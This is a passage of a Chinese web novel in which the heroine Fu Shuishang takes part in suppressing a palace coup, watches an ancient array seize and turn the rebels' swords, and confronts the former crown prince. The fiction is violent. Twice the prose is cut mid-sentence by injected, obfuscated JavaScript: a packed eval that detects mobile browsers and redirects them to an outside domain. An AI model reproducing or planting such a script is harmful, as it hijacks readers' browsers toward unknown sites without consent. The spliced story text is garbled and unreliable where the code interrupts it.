她还是不信任何人。她想危鸣晨当年可比赵得真正义多了,最后也就是这样。打败男皇改天换地了,又要把男的请回来,用不了多少年便造出新的男皇,回归最初。 一次次重蹈覆辙。她何必跟着送死。 可她又看了看不远处的宫门。 镇国军自然是强大的多,第三营那些人已是苟延残喘了。她们也并不停歇,很快便要全部歼灭。 但她永远不能信任何人,永远自己一个人的话。她要什么时候才能把所有该死的人都杀光呢。 傅水伤又摇了摇头。这些想法莫名其妙地冒出来,她自己都不明白自己究竟是在想些什么。 可能是还没杀够,脑子不清醒。一会儿再去杀几个试试。 “你可以抱着她大腿求饶,痛哭流涕说自己也只是听皇帝命令,身不由己……”阿阳小声说着不靠谱的提议,“你就像刚才那样发疯嘛!你本来就疯,疯的特别真!” “那丘大人呢?我们也跟着赵将军杀丘大人去?”傅水伤见阿阳又犹豫起来了,便笑了一声,又道,“我们现在干的不就是投靠赵得真的事儿吗?我们只杀第三营,又没杀她们。有没有找赵得真说几句投靠的话又有什么关系?” 镇国军已在清理战场了,第三营也只剩下寥寥几人。傅水伤便提刀上去帮忙。 她一刀随便砍了一个,再往旁边去砍另一个时,却忽地察觉到身后有人朝她刺来一剑。 傅水伤便举刀还了回去。却见袭击她的竟是镇国军的人。 那是个男人。镇国军全都身穿盔甲,那盔甲往身上一套,这男的又不留胡子,一眼看去很难立即分出女男来。她到此时才发现镇国军里居然有男的。 她便失望起来了。能随朱向明潜入京都的,自然全都是朱向明极其信重的人。而她信重的男人在为第三营的男人报仇。 赵得真她们若是成功了,还是会重新把第三营用起来的。 傅水伤比这男人略高一些,便垂着眼看他,“你干什么?” “我、我……”那男人像是没想到她能察觉,此时分明是所有人最松懈的时刻,他紧张解释,“我是想打那个第三营的人的……” 他的确是朝着别人去的。傅水伤要是旁观者,也只会以为他是不小心的。 但她不是旁观者。她知道这人就是冲着她来的。 镇国军那小首领似乎注意到了她们,朝她们走了过来。傅水伤不想听她们废话。她便直接还了这男人一刀,扔下好几个烟雾弹,拉起阿阳跳上马就跑。 阿阳还没反应过来,问她:“怎么了?” “玩够了,我们该去找丘大人了。得问问现在究竟是怎么样。” 镇国军和京都卫军已开始进入宫中,不少宫人都在设法逃跑了。傅水伤不想太招摇,和阿阳一起下了马,混在了人群里。 她得去找丘执玉,而丘执玉肯定是和危鸣晨在一起。危鸣晨说她自己准备万全,只待赵得真她们入了宫便会必死无疑。那她想危鸣晨或许会以身作局,她身边也并不安全,不能带阿阳去。 她便一边走着,一边思索该把阿阳藏哪里去。而她没走几步,忽然便看到了凌王须和恒。 须和恒正坐在宫殿里,抱着一只纯黑色的猫,一动不动地盯着地面。她身旁的人倒是都不慌不忙,镇定自若。离她最近的那侍卫看起来也是身手不错。 而那侍卫一下就发现了傅水伤。她拔剑看过来,“什么人?鬼鬼祟祟做什么?” 傅水伤掏出丘执玉给她的令牌,道:“我们是明镜府的人。我认得殿下。” 她又对须和恒说:“是不是?阿恒?” 她并没有准备得到回应,但凌王居然看向了她,点了点头。 她或许只是随便点的,也不一定听懂了傅水伤的话。但那侍卫见她如此,又确定了令牌是真,便也放松了一些警惕。虽仍握着剑,也让傅水伤两人走近了。 傅水伤拉着阿阳,让她坐在须和恒身边。又指着她去问须和恒,“殿下,你见过血红色的大猫吗?” 须和恒便看了看浑身是血的阿阳。 她好似真的全然分不清人和猫。看看阿阳,又看看手里的黑猫。忽然就无情地把黑猫放下,伸手去摸阿阳的脑袋。 “殿下帮我看一看她。”傅水伤又对阿阳说,“你在这里。” 须和恒抬起头来,似乎还想要伸手摸一摸傅水伤。可傅水伤已转身走了,她便有些失望,只能回头继续摸阿阳的头发。 阿阳觉得好诡异,她一动也不敢动。可傅水伤倒是放心地去找丘执玉了。她先看了看大威宫,并不见人。便又找到了龙泉殿。 刚一接近,她便看到其中挤满了人。她并不想大摇大摆进去当靶子,便藏在窗边去看。 镇国军不过才刚刚突破宫门,可赵得真竟已带了几十个人先到了龙泉殿上,找到了危鸣晨。 她已把弓弦缠在了危鸣晨脖子上。池之澈在旁,带着一队羽林军,与她身后京都卫军对峙。她们全都大气也不敢出,生怕这危险的平衡突然被打破。 丘执玉并不在。傅水伤便想危鸣晨多少还有点良心,知道丘执玉不会武,把她藏了起来。她又想她此时突然进去的话,或许还能救一救这皇帝。 但她不是很想救。她决定假装自己不存在。 赵得真已开了口,“危鸣晨。你不是要我听你解释吗?你解释吧。” 她身上总有一种阴森森的气息,不骂人的时候声音也极其低沉,“你解释清楚了,我杀你的时候轻一点。” 24.这是半章 “得真,你……”危鸣晨尚未说话,池之澈先小心翼翼张了嘴。她似乎是想要替皇帝求情,而她才刚说了这么几个字,便已被赵得真打断。 “闭嘴。”赵得真看起来生气极了,她阴沉沉地盯着池之澈,冷笑道,“别着急,下一个就轮到你。” 她又在龙泉殿内扫视一圈,未找到丘执玉,便问:“丘执玉那个贪生怕死的东西又躲到哪儿了?危鸣晨犯蠢你们也跟着犯蠢?这么听她的话——你们当人当腻了,想给危鸣晨当狗玩玩?” “看在我们多年情谊,你现在趁早投降我还能……” “我投降。”池之澈却不等她说完,忽把手中长剑直接扔在地上。她举起手来,笑道,“你即便是杀了危鸣晨,也不好直接登基吧?我们扶凌王殿下做个傀儡皇帝,你掌大权。我依旧做羽林军统领,顺便照顾阿恒。怎么样?” 这和危鸣晨在位时毫无区别,对她根本半分影响也无。池之澈对自己的设想极为满意,点了点头,又再次重复说,“我投降。” 她投降投得实在是过于顺畅了,简直连半分犹豫也没有。便连傅水伤都微微挑眉,难免胡思乱想。 她想这池之澈可是羽林军大统领,主管皇宫守卫,理应是危鸣晨最为信任的人。那现在这般状况,难不成正是因为池之澈深受信任而知晓更多,已看出危鸣晨其实毫无胜算? 傅水伤对朝中之事实在是所知甚少,她睁大眼睛,决定好好学一学这其中站队的学问。万一果真是丘执玉判断失误,赵得真必将取胜—— ——那她就委屈一下自己,去试试抱着赵得真大腿痛哭流涕有没有用。 可她很快看到危鸣晨竟有了些笑意。她并不生气,更没有惊慌,只是有些无奈地说,“阿澈你这样,让朕实在是很没有面子。” 她笑起来,龙泉殿中凝重的气氛便倏忽间消散。 就连赵得真身上的杀气也刹那消失。她想这样子根本就和她们从前玩闹时毫无区别,哪怕她们真的到了你死我活的地步,她恐怕都要因为这样的话语而心软地给危鸣晨一个痛快死法,更何况她几乎一瞬间就能从这两人神色里看出此事大约是另有隐情。 可她却更生气了。她不喜欢被隐瞒。她一无所知,因而真心实意地愤怒、失望。她已决心要从此成为仇人,再见面便刀剑相向。 然后再见面时,这两人看着她的怒火,开开心心地笑了。 赵得真便依旧是神色阴沉,她将弓弦微微收紧,在危鸣晨脖子上勒出一道血痕,“你笑什么?先与我解释解释,有什么好笑的?” 危鸣晨不得不缩了缩脖子。赵得真站在她身后,她便只能仰头去看,一面温和道:“得真,你听我说。” 她脸上些许笑意彻底 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危鸣晨却也没说什么,只道:“如若我将那些人全都杀了,便要完全失去他的消息了。他暗地里谋划什么,我们全然无法知晓。” “还不如留着,引他出来,一网打尽。” 25.长明楼 这次身后可的确是有人在追,傅水伤便极力逃跑。可她轻功太差,又没有马,实在是跑不了多快。 而池之澈的轻功竟也烂得和她不相上下,这样也追不上她,只能在她身后无奈地大喊:“别跑了!水伤姐你跑什么啊?!” 傅水伤便猛然停了下来,恍然道:“没错。我跑什么呢?” 她转了转手里的大刀,回头去看池之澈。 这池之澈根本不是什么绝世高手,长宁街上把她打晕的人也并不是她。 池之澈也跟着停下。她看见傅水伤握着刀嘴角带笑,又急忙边后退边摆手,“不不不!别动手啊!我又不是来追杀你的!” “那你是有什么事?”傅水伤便问。 她现在莫名地心情极好,决定大发善心听一听池之澈是有什么忙要自己来帮。 池之澈却先反问一句,“水伤姐,你都听到我们说话了吧?你一开始就在窗外,是么?” “你发现了?”傅水伤打量她一眼。没想到她武功差成这样,倒是足够敏锐。 “陛下发现的。她耳朵很好使。”池之澈却摇头道,“她大概是天天被刺杀练出来的吧,一丁点儿动静都能察觉。是她发现有人在窗外,提醒了我和赵将军。” 她嘴上说着话,脚下也缓慢地去向傅水伤靠近。见傅水伤没有动刀的意思,她才终于一把揽住了傅水伤的肩,好似极为亲密一般,“你都听到了,我们之间关系极好。你是丘大人的朋友,你别太过分的话,我们也把你当朋友的。” “——对了,我们得去找丘大人,边走边说。” 傅水伤瞥了一眼肩上的手,看在钟鼓街那一间院子的份上,勉强跟着她走了。她却不明白池之澈跟她套近乎是为了什么,便回了一句,“险些砍死赵得真算是过分么?” “……那还是有点过分的。不过赵将军脾气很好,你道个歉就完了。”池之澈盯着她脸上深可见骨的伤,“赵将军也会把你当朋友的。” 她自然能明白傅水伤这句反问算不上友善,好似也并不想要她们这些朋友。即便她对傅水伤一向颇有好感,也不免要在心里暗自“呵呵”。 险些砍死又怎么样?难道真的动到人家一根汗毛了么?自己倒是被射了两箭,现在还流着血呢。也不知是怎么能顶着脸上的伤,还拽得好似狠狠伤到了赵得真一般。 心里如此想,她嘴上却也只道:“而且丘大人说,她从前想要替你治一治病,曾特意带你到不同的人面前,看你发疯时会对什么样的人出手,好从中找一找病因。” “——你大多数时候都并不会出手,出手后也依旧会有许多人似赵将军那样,因一些突发的状况而得救。而你最后真的会杀死的,全都是该死的人。” 池之澈看着她,把声音放低了一些,“是我们也同样想杀的。” “你即使脑子有……脑子被鬼气侵染,对任何人都充满杀意,你也还记得自己真正想杀的人是谁。所以丘大人才放心让你进宫来的,她把你当自己人,也知道你不会误杀我们自己人。” “你应该明白的,我们有同样的敌人。”池之澈还像是上一次骗她说赵得真意图谋反时一般,话说的不明不白,却又好似意味深长,“我们本来就是朋友。” 她戛然而止,看着傅水伤,等待着傅水伤与她相视会心一笑。 傅水伤:“……” 不,她真的听不懂。 她自己都不知道自己真正想杀的究竟是什么人,真被她杀死了的又是怎样。她从没在意过,她不挑的。 傅水伤实在忍不住去问:“我杀的都是什么人?” 池之澈却只以为她是想要自己说明白了,以求安心。她便道:“想要压在我们头上的男人,想要帮男人压在我们头上的女人——所有想把我们困在原地的人。” “你杀的是拐卖女童的人、把女儿赶出家门的人、不把女人当人的人……灵晖郡王曾说要让这一切都消失。”她虽不曾见过郡王,却也有万分崇敬,提了一句之后,又道,“你在京都八年,以你这恨不得把所有人杀光的脾气,六年前陛下打回来时,你肯定也参与了——那么好的杀人机会呢,怎么想你都不会错过。我想你这么厉害,应当还有军功在身。” “后来却从未提过,像是根本没有一般。只在明镜府里做了一个刽子手。” “是当年陛下一副‘女人怎么可能离开男人’的样子,非要把全力扑杀郡王的先皇旧部留下来做依仗,让你失望了么?”池之澈拍了拍傅水伤的肩,“你如今知道真相了。” 并不。傅水伤从未提起过,是因为她根本就没有。她六年前生了好大一场病,吃了睡,睡了吃,等彻底好了,才发现皇位上已换了个人。 ……但她当年看见女皇,的确是很高兴的。 而她也已明白过来,池之澈说这么多,不过是想招揽她,让她为危鸣晨做事。 她便想摇头了。她的确是有病,许多时候她甚至都无法做出一个理智的决策来。 可池之澈又说:“该死的人太多了,还有的杀呢——总有一天要让东扶血流成河。” “水伤姐,你要和我们一起么?” 还有的杀呢还有的杀呢还有的杀呢……血流成河血流成河血流成河……要一起么要一起么要一起么…… 几句话在她心里轮番转动,怎么也止不住。 这让她如何能拒绝! 傅水伤:“当然了,我们本来就是朋友。再有今日这样的事只管找我,我一定竭尽所能。” “好!”池之澈开开心心的,“我就说我第一次见你时就那么喜欢你,我果然没有看错!” 她想傅水伤的能力不止于做一个刽子手,放在适合的位置上,理应有更大作用。而她三两句话让傅水伤同意入朝做事——不像丘执玉,五年过去竟真的只让人窝在明镜府。 她如此识人之明,想来哪天危鸣晨真被刺杀了,她来当皇帝也绰绰有余。 而傅水伤听她说好,觉得这是往后有大杀特杀的事便一定叫上她的意思。她也很满意。 两人满意地走着,迎面却撞见了一队骑兵。那看起来是镇国军的人,肩甲上都刻了三道横线,仔细看去,也能辩认出全都是男人。 宫道上慌乱逃窜的宫人们便瑟瑟发抖地躲在一旁,傅水伤也和池之澈躲了起来。她看见前面有一个吓呆了傻站在原地的少年,便想顺手将人拉过来。 池之澈却拦住了她,眼看那少年被一刀砍倒滚在墙边,才小声说:“那些是在探查消息的,有她们在,我们才能知道叛军动向。” “宫里可没有只会蹲地上哭的废物。” 果然那“死去”的少年已发现了池之澈,她背在身后的手悄悄做了个手势。傅水伤看不懂,池之澈却是在墙上轻敲两下以做回应,转身向另一边走。 傅水伤也跟了上去,又回头去看那群骑兵。这些人比她想象得要多,她不由得问:“我听说镇国军也多是女人,朱将军假意造反,却找了这么多男人来——甚至比女人还多的多,恐怕是直接把镇国军的男人全都带来了,难道他们自己竟没有怀疑?” “他们以为朱将军要造反自然需要挑最精锐的,而他们男兵毋庸置疑地比女兵厉害,全被选中了也实属正常。”池之澈哼笑一声,“郡王以前太厉害了,很多女人想要与她一般,却很难进入军中。十几年前郡王终于掌控了镇国军,开始招收女人,她们便全都来了。” “原来的男将看女人越来越多,生怕军中不够阳刚,便给女兵设置不少苛刻条件,男的过去却是四肢健全便收——他们当然自信得很。” “而朱将军也一直只说要杀第三营为郡王报仇。他们当年毕竟是郡王手下,并未直接害过郡王,便都以为自己藏得很好,朱将军很信任他们,要报的仇里更是没有他们。” 傅水伤又回头看了一眼,此时却已看不到那些人了。她总有一些奇怪的感觉,可暂且又说不上来。 而她们已走到了一座高楼之下,终于看见了丘执玉。 她正独自站在一片血泊之中。那血多得几乎能随风起涟漪,便吓得傅水伤匆忙跑去。 “丘大人!你没事吧?” 丘执玉回过头来,好似全然不理解傅水伤在担忧什么,只微微摇头,“没事。” 她看起来的确是一点事也没有,傅水伤才放下心来,又问:“怎么一个人在这儿?” “原本带了一队人的,他们忽然想要杀我。我很害怕。”丘执玉面无表情,“所以我把他们毒死了。” “……那尸体呢?” “我害怕尸体。”丘执玉继续面无表情,“化尸水化掉了。” “……”傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083863|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水伤扫了眼那一洼血水,伸手去扶丘执玉,“……出来吧,别站在血水里了。” 她以为丘执玉的“害怕”和自己的“害怕”是一样的,不过是为了后面那一句“害怕得只好把他们杀了”。她没想到丘执玉是真的害怕,手握上去便摸到了许多冷汗。 “真害怕啊?”丘执玉松开手,走入旁边的高楼,傅水伤便跟在她身边,好奇去问,“动都不会动的东西,怎么还怕他们?” 丘执玉的脚步微微一顿,才低垂着眼,回答说:“他们不好吃。” “啊?”傅水伤觉得自己没太听明白,她或许耳朵也出了些问题,便重新去问,“丘大人你刚才说了什么?” 一旁池之澈却忽然伸手捂住了她的嘴,“不!别问了!我求你了水伤姐,别问了。” 她又转而捂住了自己的耳朵,“我来得急,早饭没吃。折腾到现在午饭也没。你别弄得我晚饭也吃不下了。” “我真的很饿。”她好似有几分委屈,“别恶心我,我胃里没有东西可吐。” 傅水伤也沉默了好一会儿,才勉强说:“……不好吃就不吃了,我们以后吃点好的。” 丘执玉倒好似还有些失望,她看起来竟然很想说一说。池之澈连忙推着她上楼,“快快快!太男的大军打过来了,我们得快点儿!” 她们便一起上了楼。这楼看起来年久失修,外面倒还是富丽堂皇,内里却处处破败。傅水伤踢开腐烂的木板,问道:“来这里做什么?” “这是长明楼。”丘执玉道,“三百年前某一任皇帝,被造反的人围困在此处。他想起他年少时曾在大陆的仙门中待过一段时间——虽然什么也没学会,并没有人愿意教他。可他记住了一道阵法,耗尽最后力气刻了下来,灌入全身鲜血,杀死了宫中所有的人。” “只要把阵法打开——” 她们已走到了长明楼最高处,风从破烂的窗子灌进来,四面皆是呼啸之声。地面上铺着一层黑色的石头,石头上刻满了繁复的花纹。 丘执玉走到了正中央。 傅水伤透过窗子去看外面。这楼极高,一眼能俯瞰整个皇宫。她看到从四面宫门闯入的人皆向此处汇聚——这楼后面不远便是大威宫,危鸣晨所在之处。 而她听到丘执玉说话,吓得简直要从窗子跌下去,“我们的准备就是一个传说中的、三百年前所建的阵法?” 她想要是丘执玉点头说是,那她立刻就跳下去大开杀戒。死前总得让自己开心一下。 而丘执玉竟真的点了头,“五年前陛下得知此事时便检查过,阵法并未失灵。仙尊几天前也看过,说虽是很低级的阵法,对付他们也绰绰有余。” 她一边说着,一边蹲下身去,从怀里取出一个瓷瓶。她用食指沾了里面暗红的液滴,在地面最中央的位置画出一个十字。 “你们怎么还真信什么阵法……”傅水伤已准备要拉上丘执玉逃跑了。 可她看见丘执玉又拿出了玉玺,放在刚刚画出的十字之上。刹那间长明楼发出了耀眼光芒,那亮光不知何处而来,找不到源头,也未留下任何影子。它直冲天际,竟连日光也被照得暗淡下来。 而窗外有无数蝇虫一般的东西飞了过来,仔细看去,却是一把把刀剑。它们汇集在长明楼之上,如一朵巨大的乌云,在地面投下斑驳的影子。 傅水伤话未说完,微微长着的嘴却没再发出任何声音。她没有说话,她已完全失去说话的能力了。 直到她自己的刀也飞出去,她才恍恍惚惚地看向了丘执玉。 丘执玉也看了看她,忽然伸手向窗外,道:“回来。” 那大刀听话地飞到了丘执玉手中,便被她还给了傅水伤。傅水伤呆呆地接过,看看满屋亮光,又看看天上万剑悬空。 她忽然闭上了眼,企图不听不看。她用力摇头,喃喃道:“……我不相信。那上面一定是有一块很大的磁铁……” 丘执玉探头出去看向天空。她好似真的在找傅水伤所说的磁铁一般,来回看遍了,才道:“没有的。” “……一定有。” “没有。”丘执玉认真说,“你睁眼看看。” 傅水伤睁眼了。 她正看见丘执玉一挥手,那些刀剑便回到了各自主人身边—— ——却是将他们一剑穿心。 26.太男 傅水伤:“……” 她抬头看着那些刀剑又飞回到空中,刃上的鲜血缓缓滴落下来,在窗前下了一阵血雨。 她脑子里面一片杂乱,完全不能明白自己该做些什么、想些什么。她唯一能明白的就是丘执玉故意在她睁眼的刹那弄这个给她看,然后又目不转睛地盯着她,观察她的反应。 盯得她想给丘执玉打一顿。 “怎么样?”丘执玉倒还万分关切地去问她,“你现在亲眼看到了。” 傅水伤说不出话来。池之澈却是挤过去,一把抱住丘执玉的肩,恳求道:“执玉给我玩玩!” 丘执玉朝她伸出手,池之澈便握了上去。她也能控制那些刀剑了,便将食指与中指并拢,向下一挥,“去!” 言出剑动,又带来一阵血雨。池之澈伸手去接了一捧,感叹道:“好爽。” 她要是真的有法力就好了。 而傅水伤脸上已一片空白,她终于开了口,“……这是个什么东西?” “阵法。”丘执玉解释,“能将皇宫中所有人的刀剑都吸引至此,若有人接近长明楼,他的刀剑便会回到他自己身边,把他杀死。” “也可以如我和池大人这般,操控那些刀剑去杀死远处的人。但需得先确定那一带没有自己人,否则便要一起被杀死了。” 当年那男皇本就是为了同归于尽,自然拼着最后一口气,不分敌我全都杀了。她们却不能如此,还是要小心翼翼避开自己人。 傅水伤发着呆,好似是听了,又好似什么也听不见。她再开口,已开始胡言乱语了,“这阵法……它如何能知道什么是刀、什么是剑?不过都是钢铁所制,为什么不把铁桶吸走?” “——倘若我觉得自己不是人,只是丘大人手里的一把刀,而丘大人你也只把我当做一把杀人的刀。那我凭什么不是刀?它能把我吸走么?” 她前面的话还算是刨根问底,后面一句却已简直算得上是找茬。池之澈都满脸疑惑地回头看了她一眼,丘执玉却还认真解释,“被人用来杀过她人的东西——即使并未真的杀到,几日之内也都会带着主人的杀气与被害者的怨气。阵法借此认出哪些是凶器。” 长明楼上空本也不止刀剑,还有长枪与匕首,甚至有木棍。 而朱向明与池之澈早已让她们自己人提前准备了另一把许久未曾用过的兵器在身边,等所有人的刀剑被收走,她们便拿出来。阵法只在开启时吸引那么一次,那之后,有刀的人自然远胜于赤手空拳。 “这阵法不会将活人吸走,我也没有把你当刀。我把你当人的。”丘执玉还不忘安慰她,“别担心。” 傅水伤看着窗外,又问出了最后一个问题,“有这么好的东西,当年陛下逼宫之时,先皇怎么不用?” “先皇根本不知有这样的东西,连陛下也是继位后意外得知的。”丘执玉道,“三百年前那男皇与宫中之人同归于尽后,他一个在宫外躲过一劫的男儿回来继位。” “那新男皇听说这些事,又查到老男皇所作阵法不过暂时关闭,只要以他血脉后人之血为引,便能够再度开启。他便来长明楼试了——可他怎么也无法开启阵法,他甚至怀疑自己并不是老男皇的孩子。” “而他却很快发现,他的姐妹兄弟皆无法开启,他的姑姑——那老男皇一母同胞的妹妹却可以。”丘执玉不知为何地笑了一下,才继续说,“孩子是女人生的,男的哪有什么血脉?老男皇的血脉属于她的母亲,延续她母亲血脉的,是母亲的女儿、女儿的女儿。男儿半点用也没有。” “那位皇姑意识到不妙,怕被新皇杀害,便逃走了。皇帝没能找到她,阵法也再未开启,渐渐便被人遗忘。” “直到陛下发现,便找到了当年那皇姑的后人,”丘执玉晃了晃手里的瓷瓶,“向她借了点血。” 似乎全都解释的通。傅水伤却总还想要再找些问题来问一问。她好似希望能找到一个不合理之处,来证明这阵法根本就不应该存在。可她当然也知道这阵法确确实实地存在于此,越不合理,越说明世上有她暂不能理解的神奇东西。 傅水伤又往窗外看了看,突然说:“……我下去冷静冷静。” 她直接转身下了楼,丘执玉便在她身后说:“别走太远,有事便回来。阵法开启时只有我们三人在长明楼中,也只有我们能出入。这里很安全。” 傅水伤半个字也没回答,匆匆地下着台阶。 她这样子实在算不得正常,池之澈便又看了一眼,问:“她怎么了?” “她没见过,所以她不相信世上有什么修道、法术、阵法……这样的东西。”丘执玉说,“她现在却亲眼看见了,应是有些难以接受吧。” 傅水伤已跑了下去,池之澈以为她听不见了,便不由感慨:“不是吧?我从来没见过这样的井底之蛙,她不能这么蠢吧……” 傅水伤:“……” 她顿了一下,在回去把池之澈踹下窗子和继续下楼之间犹豫了片刻,还是宽容大度地选择了后者。 楼下不远处便有无主的马在乱跑,她随便抓了一个骑上去,朝有人的地方去。她很快便看到了熟人——入宫时和她一起杀第三营的那些镇国军。 原先那小首领也看见了她,倒还客气地主动与她打招呼,“是你?你怎么还在宫中?” 傅水伤本已要转身换个方向了,听她说话却才想起,她先前杀的那个镇国军男兵不过是个叛徒而已,这首领不至于为他报仇,便又停了下来。 她们好似是专门对付第三营来的,此时依旧在与第三营残部作战。傅水伤往前看了一眼,便走过去表明身份,“我其实是明镜府的人,我来帮忙。” 她也不多说,更没管首领什么反应,上去就开始“帮忙”。她只想静一静,便把自己彻底放空,挥着刀乱杀。 本来便都是依靠兵器的普通人,手中有无刀剑就是天壤之别。镇国军手中有早已备好的新刀,杀敌简直如割韭菜一般。何况还有丘执玉和池之澈在长明楼上,看到有叛军聚集在一处便让刀剑飞去,逼得他们只能分散开来,越发地好杀。 傅水伤根本还没有尽兴,眼前这些男人便已死光。她只好抱着刀在旁叹气,看着其她人收拾战场。 但她总算是平静了许多,便让马自己随意走着,又回头去看长明楼上黑压压一片的刀剑。 无论她怎么想,世上都的确是有修道这些东西。她改变不了,她苦练多少年也比不上原本手无缚鸡之力的丘执玉——如果此时丘执玉愿意,她一挥手就能把自己剁成肉泥。 那她要停在这里,震惊、茫然、最后绝望吗? ——她当然是要去学。 傅水伤骑着马慢慢走着,一面低头思索。她想她身边就有一位仙尊,而她除了对仙尊毫无尊重,从未信过什么仙尊,背后骂人死骗子,当面对人冷笑翻白眼……以外,应当也没惹到过仙尊。虽然她和仙尊没有丝毫情谊可言,但她相信以她们之间的情谊,仙尊一定……说不定会愿意教一教她。 她早已忘了丘执玉的交代,胡思乱想着,人便不知不觉地走远了。周围寂静无人,她认不出这是什么地方,便回头向着高耸的长明楼走去。 但她忽然又停下了。 隔着一面墙,她听到另一边有轻微细碎的声音,似是有许多人站在那边,却全都安安静静不敢出声。 她想去看一眼,又想自己都能听到她们声音,对面的人应当更是能听到她的马蹄声。她便悄悄翻身下马,拍了拍马背,让马自己跑远了。 果然另一边先有脚步声传来,又很快停住,有男人的声音问:“走了?还要去看么?” “看看吧。”另一个男人道,“别出什么差错。” 傅水伤便握着刀站在墙角下。她一动不动,连呼吸都暂且停住,不再发出丝毫声音。而等那两个男人跳到墙上,她立刻便将人扯下来一刀一个,又抓着他们手臂,悄无声息地放在地上。 随后她又故技重施,静静地等在墙下。她想要是另有人来查看,她还能再来这么几次。 然而并无人来,傅水伤失望得很。她很快又想既然没人来找,那想必另一侧的人很难注意到此处,而这两个人也不过是无人在意的小角色。 她便直接扒了其中一人的盔甲穿在身上,翻墙过去。 墙边的确看不到旁人,她顺着声音走了几步 ,才找到前面一队人马。这些人身上的盔甲与自己身上一模一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093290|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,却并不属于东扶任何一个军队。 而他们团团围着的中央,正停着一辆铁壁铜墙的战车。 这些人手中皆有兵器,也不知是用了什么方法没被阵法吸走,还是如她们一般早有准备。 ——无论哪一种都是棘手。 傅水伤便警惕起来,一边假装自然地走去,一边努力支起了耳朵。 她听到那战车里有一女一男在说话,男人声音里带了些焦急,“……你不是说她们那仙尊是假的,天照宗少主绝不可能来这种地方么?那阵法又是怎么一回事?” “这应当问你吧?那阵法一看便是皇宫中早已有的,恐怕要上百年了。你做了十几年太子,你自己不知?”女人的声音倒是不紧不慢,带些嘲讽的话说完,又安抚道,“怕什么,你们手中兵器不是尚在么?死一些无关紧要的人罢了。待我成事,让你做一个东扶皇帝不过轻而易举。” 男人便也很快安定下来。又问:“我只要杀了危鸣晨便可,是么?” “是。” 竟然是那前太男,被她随意逛了逛就撞见了。另一人……倒像是前太男所请的仙尊。 傅水伤已走到了那群人身边。她正要找个位置把自己塞进去,却忽然被战车旁一个骑马的男人叫住了,“你是谁?过来!” 傅水伤低着头没敢回答,她还在想该要如何应对,那人却好似已察觉她身份不对,直接道:“把她拿下!” 不,这不对。 她看了那么多话本,听了那么多戏文。别人不都是这般混入敌军的么?怎么她就被发现了?! ……算了,混不进去就全杀了吧。拿着前太男的头去邀功,危鸣晨不给她几百两黄金可说不过去。 她还未适应什么“仙尊”的存在,只是一眼扫去,觉得自己对付这些人并非什么天大的难事。而那说话的男人也突然砍了过来。她挡了一下,退回到墙边。 忽有一辆马车从她面前疾驰而过。拉车的马似是疯了一般,跑得极快。可当经过那辆战车之时,却又瞬间停住。那马甚至跪了下去,双腿在地上磨出一道血痕。马车更是险些翻倒。 它方一停稳,前太男身旁的人又一箭射去。那箭上应是带了炸药,钉入车身后便是一声巨响,将车厢上半化作碎片,露出马车中的景象。 危鸣晨正坐在其中。 她看起来有些许狼狈,却也还坐的端正。车厢忽地炸开,她也只是扶着残余的木板,平静地向前太男那边看了一眼。 最后又看向了傅水伤。 傅水伤与她对视,难免又叹起了气。 她想不明白她们的皇帝怎么能蠢到这般地步,竟被独自带到了前太男面前。而这蠢皇帝还看着她,好似在等着她前去救驾。 ——她又不好不救。怎么说也是丘执玉的朋友。况且危鸣晨和赵得真两个女人相斗的话,她尚且可以袖手旁观。危鸣晨和前太男,却又另当别论。 男的没这种资格。 傅水伤便砍倒眼前几人,跳到危鸣晨的马车上,站在她身后。 她此时才想起那前太男马车里尚有一个不明底细的仙尊,便想要问一问危鸣晨她们的仙尊又在哪里。而她还未能开口,对面那前太男先压着声音,状似沉稳地叫了一声,“……鸣晨。” 傅水伤与危鸣晨一同看去。可那前太男躲在战车里,一丝影子也不能见到。 ——而危鸣晨却坐在破碎的马车里,几乎是一览无余。 傅水伤又想叹气了。她总算尽力憋住,决定干些比叹气更有用的事。便在所有人做出反应之前,忽地跳到那前太男战车之前,往车身上砍了一刀。 她顺手摸出一颗金珠,让它沿着刀身滑去。金珠接触到车壁便霎时爆炸。她在那之前回到危鸣晨身边,看着车厢碎裂,露出其中的人来。 而傅水伤才又想起了战车里的仙尊,多少便有些紧张。可她却并不见马车里有之前说话的女人。 只有前太男一人。他被车厢碎片砸中,脸上留下了一道伤口,看起来终于是比危鸣晨狼狈的多。 傅水伤很满意,抱着刀去看危鸣晨。 而危鸣晨应当也是极为满意了。她轻轻笑了一下,才道:“皇兄。” 27.肖献南 那战车里是一个四十来岁的男人,不过与朱向明差不多的年纪,却已是头发花白憔悴不已。他倒也还算是镇定,对着危鸣晨冷笑一声,道:“你也配叫我皇兄?” “不过是灵晖路边捡来的贱民。灵晖糊涂,把一个来路不明的东西当皇女养着,你倒是鸠占鹊巢,真将东扶当做你自己的了!” 傅水伤很想把耳朵捂起来。 她一点也不想知道这些皇家辛秘,她有些担心危鸣晨回头要杀人灭口。而她更不想听这老男人说话。 既然这前太男所请的仙尊并不在,那她们分明就应该立刻把所有人全杀了,半个字的废话也不要说。以免夜长梦多。 可这两人看起来倒好似还准备叙个旧。傅水伤都站在危鸣晨身后了,自然也要给她这皇帝一点面子。危鸣晨不说话,她只好默默看天发呆。 周围的男兵已迅速围了上来,拔出刀剑对向她们。但前太男没有命令,他们也并未有进一步的动作。 